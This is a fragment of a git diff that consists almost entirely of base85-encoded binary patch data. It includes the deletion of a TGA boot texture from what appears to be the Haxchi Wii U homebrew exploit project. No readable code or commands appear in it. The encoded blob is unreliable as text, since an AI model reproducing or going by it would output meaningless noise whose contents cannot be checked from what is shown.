zk*|VWWxY#$?R9=9P|8PHe@q)-aDQWuL3{NsX&gPKfr>K5eviG;v3Y2IboywK+5Sxe zJJnAKw2dF{oozkUwVG^eueZwiCwQ#BOZ9~M(P%u1M@*C+-`w@Aj@JmY^dfu}=V^Rb zM(R$Nt*K&D86{99sd`h_#$^hbH7aBj>)T-0yA)q)w-bnq_d2z*_aYfZo(tcOkl@Sy zSUzHQ1l9L;k1_er*f(CQV=SQ}EMGLyJ9x>O+EV3yyEs%<+h*_1qb?T$P8@Q`Kg3#9 zd~R@(oE*G05im>I*jJGD&0e=YVf!x1M)ur`9g~uixpwK*a~F2p5wK?q$#xk*j$6}P zCxM>kb~;0Xpe##WlN-0ziLp^uM_GdHlhx=ezOS)Q8p~cT%U5x5Z(&>z+{9b|a3@>i zA3G|hN$+$Bt>Ji=r5XFH5Fh@!6Jh6o?CzP{dCTIAkfFYJ_XJJv4~DCW<18}0g4s5YBdmuMn}LVI&)zC8cZMiq6`PR zE7%>veg3-|fTuSI0j@8C)$Xh50Acq7yR&CFEYg#{4~zZE-}NnUwFJRABi|eZn+ACs zaK95si_aYB_F%wISUAnV628^%z)0g?fYFq{7H1p1@0b4Gg?!cME4@d(_~#b_-SM06 zLEPwbOHjO5Hm188E%=9Gh6%lteqhlZHWsAZfENOE$M0}p+kkvQ!Iw7!>Giq$XZ$nB z3F>^g>8FETuu#T6=k1pO)7DF4P`$gp(j*klS;^R|>GIu5fm}3VGgDms@n3VA99we> z=-aq(Yx#ych`@Lqd_lnlk_wzNs4d`i6qRd9VfRMhQ$D%dd1BXFGQJ?Y8C%@;rV32Q) zgEa*Rp}t{4k)a!a{Su&F1=IG?z-1!EOgrt6m&E2m%j`C zi4tk_p)b0l>DTPnKM4pTZW@%_KM!~a&@Dc9{Bqh$e^1~iToeI%)GL3;WdI7A{Z<1| zlqev)`hmv6YWLMIz^qR~#C|^fwbEz4fM1Wra)Q8vfAa@H_K7gR595Pie)`X6zG(mk z|J41fj^9%H2v`K@W8XCTG%d^%1o{&1(Ho3`sV^@F0(i1-G8E3;@;VNleqdvse-mcC z`xh+ymB7#PZn%MhY781DW;(6HZTuPhz5s)JX_LSMA--4&trbyBv=-iY)l#oMws`8_ znxTBVw2)>ZCxI{Qi-+%3T&~QQ!Pakib{rwAFTUtCuBGupIFW60rtj|Y;d@O#Z;_4O k8T|U&U*x}k{{3Hn`u7k2_~CDV{r*3H{^2iw`ok~&3wkHDod5s; diff --git a/release/haxchi/bootTvTex.tga b/release/haxchi/bootTvTex.tga deleted file mode 100644 index 510792b2b83a70f02a674af6f08ea4adb67fde38..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2764844 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 